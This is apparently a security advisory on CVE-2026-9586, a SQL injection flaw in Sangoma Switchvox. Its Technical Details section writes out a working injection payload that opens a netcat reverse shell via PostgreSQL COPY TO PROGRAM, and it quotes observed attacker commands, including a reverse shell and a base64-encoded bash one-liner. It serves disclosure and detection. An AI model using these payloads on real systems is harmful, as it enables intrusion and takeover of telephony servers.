The recent discovery by CyberHunter_NL of CVE-2026-9586, a critical unauthenticated SQL injection flaw in Sangoma Switchvox, has led to a significant increase in credentialless exploitation attempts across the Internet. This report outlines the technical details of the vulnerability, the observed exploitation patterns, relevant indicators of compromise, and a comprehensive set of recommendations for security analysts and system administrators.

Threat Overview

Switchvox is a widely deployed enterprise VoIP telephony management platform that offers voicemail, call forwarding, and real‑time analytics. The CVE-2026-9586 flaw originates from an exposed HTTP endpoint (/pa) that accepts XML payloads from supported phones. The XML is parsed without validation, and a field named PhoneIP is directly concatenated into an unparameterized SQL query, executed with PostgreSQL superuser privileges. The flaw allows an attacker to inject arbitrary SQL, leading to remote code execution and the deployment of reverse shells.

CyberHunter_NL’s autonomous vulnerability research system identified the flaw during a routine audit of Sangoma products following the discovery of related FreeBPX vulnerabilities (CVE-2025-57819 and CVE-2025-64328). The flaw was assigned CVE-2026-9586 and patched in Switchvox version 8.4.0.2. Despite the patch, active exploitation attempts have been observed, indicating that many internet‑exposed Switchvox instances remain vulnerable.

Technical Details

The flaw is triggered by sending a crafted HTTP POST request to /pa. The request body contains an XML document that begins with <PolycomIPPhone> but otherwise contains untrusted data. The Switchvox PhoneAppsHandler.pm processes the request as follows:

1. pre_cmd() reads the POST body and validates only that it starts with <PolycomIPPhone>.
2. The XML is parsed using XML::Simple::XMLin(), producing an unfiltered data structure.
3. The PhoneIP field is extracted without validation and concatenated directly into an SQL string, e.g. SELECT ... WHERE ip_address = ''{PhoneIP}''.
4. The query is executed with superuser rights.

Below is a simplified example of a malicious payload that injects a reverse shell using the PostgreSQL COPY command:

tel_notify() -> SQL injection payload: SELECT proposed_extension FROM auto_phone_config WHERE ip_address = '10.0.0.1'; COPY (SELECT "") TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash > /tmp/0d012120ab00297d.txt 2>&1; chmod 644 /tmp/0d012120ab00297d.txt'--' AND config_state = 'configured'

Upon execution, this payload spawns a reverse shell back to the attacker’s machine. The attacker can then enumerate the system, exfiltrate data, or pivot to other assets.

Observed Exploitation Activity

Our honeypot infrastructure, Defused Cyber, recorded multiple exploitation attempts from the same attacker IP. The first payload was a simple netcat reverse shell:

nc 176[.]65[.]148[.]184 39323 | sh

Following this, the attacker performed enumeration by curling a remote server and executing a base64‑encoded command that lists the top processes:

curl -m 10 http:///_$({ echo dG9wIC1ibjEgfCBhd2sgJy9eICpQSUQvIHtnZXRsaW5lOyBwcmludCAkMSwgJDEyLCAkOX0n | base64 -d | bash; } | base64 -w0)

The base64 decodes to:

top -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}'

These actions were observed across multiple honeypots, confirming coordinated exploitation campaigns.

Indicators of Compromise (IOCs)

• Log entries in /var/log/switchvox/db-quirks.log containing the injected SQL payload.
• Reverse shell connections originating from the attacker IP 176[.]65[.]148[.]184.
• Unusual POST requests to /pa containing XML payloads that begin with <PolycomIPPhone> but otherwise carry malicious content.
• Presence of the word nc or bash in logs or network traffic associated with the Switchvox device.

Detection Guidance

Security analysts should monitor the following:

1. Any POST requests to /pa that contain malformed or oversized XML.
2. New connections from the attacker IP 176[.]65[.]148[.]184 to the Switchvox TCP port (typically 443 or 8443).
3. Unexpected SQL queries that include the COPY command or references to nc or /bin/bash.

Deploy WAF rules that block XML payloads containing the substring nc or bash and limit the size of POST bodies to mitigate injection attempts.

Mitigation and Recommendations

1. Apply the Patch Immediately: Update Switchvox to version 8.4.0.2 or later where the CVE-2026-9586 vulnerability is fixed.
2. Disable Unnecessary Endpoints: If the /pa endpoint is not required for your environment, block it at the network perimeter.
3. Implement Input Validation: Ensure that all XML parsing routines validate input against an explicit schema and reject unexpected fields.
4. Least Privilege Database Access: Run PostgreSQL with the minimal privileges required. Do not grant superuser rights to application processes.
5. Network Segmentation: Place Switchvox devices in a separate VLAN with strict egress controls. Require VPN or bastion host access for administrative tasks.
6. Continuous Monitoring: Enable logging for all SQL queries and monitor for anomalies such as the COPY command or unexpected file writes.
7. Threat Intelligence Sharing: Subscribe to feeds from AlienVault OTX and Horizon3 to receive updates on new exploitation signatures and attacker IPs.

Additionally, organizations should perform regular penetration testing against their VoIP infrastructure, focusing on authentication bypass and input validation vulnerabilities.

Conclusion

The CVE-2026-9586 flaw demonstrates how a single unauthenticated injection point can compromise an entire voice infrastructure. The observed exploitation campaigns, involving credentialless reverse shells, underscore the need for immediate patching and robust defense-in-depth measures. Security analysts should incorporate the listed IOCs into their detection rules and maintain vigilant monitoring of all Switchvox devices.